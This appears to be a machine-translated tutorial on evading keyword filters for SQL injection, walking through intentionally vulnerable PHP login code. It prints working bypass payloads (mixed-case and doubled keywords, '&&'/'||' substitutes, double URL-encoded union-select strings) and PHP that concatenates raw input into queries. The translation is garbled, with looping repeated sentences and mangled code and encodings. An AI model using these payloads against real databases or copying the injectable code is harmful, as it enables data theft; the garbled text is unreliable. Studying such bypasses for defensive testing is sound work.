preface
In the last article we had an overview of how SQL injection is audited. But the actual site and user I/O interface can’t be that defenseless. Now major websites are using WAF for malicious feature identification and protection of website or APP business traffic, so as to avoid malicious invasion of website server. So we need to bypass WAF, this article will use code audit to explain some SQL bypass techniques.
Keyword filtering
Partial WAF filters keywords, which can be bypassed by uppercase or double-typed keywords.
Source code analysis
<? php require 'db.php'; header('Content-type:text/html; charset=utf8'); $username=dl($_POST\['username'\]); $password=dl($_POST\['password'\]); $dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; $ck=mysqli_query($db,$dl); $row = mysqli\_fetch\_array($ck); If ($_POST \ [' login '\]) {if ($row) {echo "your password". $row \ [' username' \]; }else{echo" login failed "; } } function dl($gl){ $gl=str_replace(array("union","UNION"),"","$gl"); $gl=str_replace(array("select","SELECT"),"","$gl"); $gl=str_replace(array("database","DATABASE"),"","$gl"); $gl=str_replace(array("sleep","SLEEP"),"","$gl"); $gl=str_replace(array("if","IF"),"","$gl"); $gl=str_replace("--","","$gl"); $gl=str_replace("order","","$gl"); return $gl; }Copy the code
Analyze the code. First, obtain the data, load the DL function and bring it into the database for execution. Then if determines whether there is submission and whether the login is successful. Looking down at the custom function DL, str_replace() is used to replace strings, where union, SELECT, database, if, and other commonly used injected characters are replaced with null case. Made a simple danger character filter custom function.
Keyword filtering injection method
I’m going to use case and double keyword to try to get around it, there are echo bits in the return code so you can inject union, dl and replace union, select with nothing but mysql is not case insensitive, so you can mix case and case to get around the filtering of DL. Characters such as Select Union DAtabase() can be executed. You can also double write it, like seselectlect, where the DL function will replace the select in there with nothing so that the characters on both sides of it will add up to a select so that you can get around it.
Case bypass statement -1 ‘unioN Select dataBASE(),2 #
Double write keyword bypass statement -1′ ununionion selecselectt databasDatabasee (),2 #
All running successfully
Or and xor not filter
Or and xor not are also filtered out so how do we get around that?
Source code analysis
<? php require 'db.php'; header('Content-type:text/html; charset=utf8'); $username=dl($_POST\['username'\]); $password=dl($_POST\['password'\]); $zifu='/(and|or|xor|not)/i'; If (preg_match (" $zifu, "" $username & & $password")) {echo "< script > alert (' dangerous characters') < / script >"; } $dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; $ck=mysqli_query($db,$dl); $row = mysqli\_fetch\_array($ck); If ($_POST\['login'\]){if($row) {echo" login "; }else{echo" login failed "; } } function dl($gl){ $gl=str_replace(array("union","UNION"),"","$gl"); $gl=str_replace(array("select","SELECT"),"","$gl"); $gl=str_replace(array("database","DATABASE"),"","$gl"); $gl=str_replace(array("sleep","SLEEP"),"","$gl"); $gl=str_replace(array("if","IF"),"","$gl"); $gl=str_replace("--","","$gl"); $gl=str_replace("order","","$gl"); return $gl; }? >Copy the code
The preg_match function filters the words or and xor not. Note that the preg_match function filters the words or and xor not. If the preg_match function filters the words or xOR not, the preg_match function filters the words or xOR not.
Logical operator bypass
The first attempt to circumvent case, as expected is a failure.
Try using logical operators
and = &&
or = ||
Xor = | # xor
not = !
1 ‘&& length(DATAbase())=3 #
Injection of success
Url encoding bypass
When submitting data using THE URL, the Web container will automatically conduct a URL encoding and parsing after receiving the URL. However, due to business problems, some websites will have a big problem after the automatic parsing of the Web container, by writing programs to parse the parameters of the URL encoding and parsing again.
Source code analysis
<? php require 'db.php'; header('Content-type:text/html; charset=utf8'); $id1=$_GET\['id'\]; $gl="/and|or|not|xor|length|union|select|database|if|sleep|substr/i"; If (preg_match ($gl, $id1)) {echo "< script > alert (' dangerous characters') < / script >"; }else{ $id=urldecode($id1); $dl="SELECT * FROM xs WHERE id='$id'"; $result=mysqli_query($db,$dl); $row = mysqli\_fetch\_assoc($result); If ($_GET \ [' id '\]) {if ($row) {echo "login success:". $row \ [' username' \]; }}}? >Copy the code
Id1 = if + pregmatch; id1 = if + preg_match; id1 = if + pregmatch; id1 = if + pregmatch If the client passes in a parameter that has a value in GL then the front-end code is returned with a warning. If there are no dangerous characters, the following code will be executed, and then the value in GL will be returned to the front-end code for warning. If there are no dangerous characters, the following code will be executed, and then the value in GL will be returned to the front-end code for warning. If there are no dangerous characters, execute the following code, then url-unencode the parameter in ID1 and assign it to $id. At this point, the parameters passed by the client have been resolved by URL encoding twice. Finally, the id variable is brought into the database for query and the user’s account is returned.
Injection of statements
The analysis code says that the parameters passed in by the client are parsed twice through THE URL encoding and then brought into the database, but the risk filtering is performed after the first parsing and before the second parsing. That is to say, we can bypass preg_match by writing urLE-encoded statements twice, such as and in the filter scope, encoding and once to become %61% 6E %64%0, and encoding again to become %25%36%31%25%36%65%25%36%34
. The twice encoded and submitted data is decoded by the Web container to %61%6e%64, and the preg_match test does not fire.
Construct attempt statement
1′ union select database(),2,3 –+
% 25% 37% 35% 25% 36% 65% 25% 36% 39% 25% 36% 66% 25% 36% 65% 25% 37% 33% 25% 36% 35% 25% 36% 63% 25% 36% 35% 25% 36% 33% 25% 37% 34 % 25% 36% 34% 25% 36% 31% 25% 37% 34% 25% 36% 31% 25% 36% 32% 25% 36% 31% 25% 37% 33% 25% 36% 35 (), 2, 3 – +
Successful bypass, code execution brings out the current database.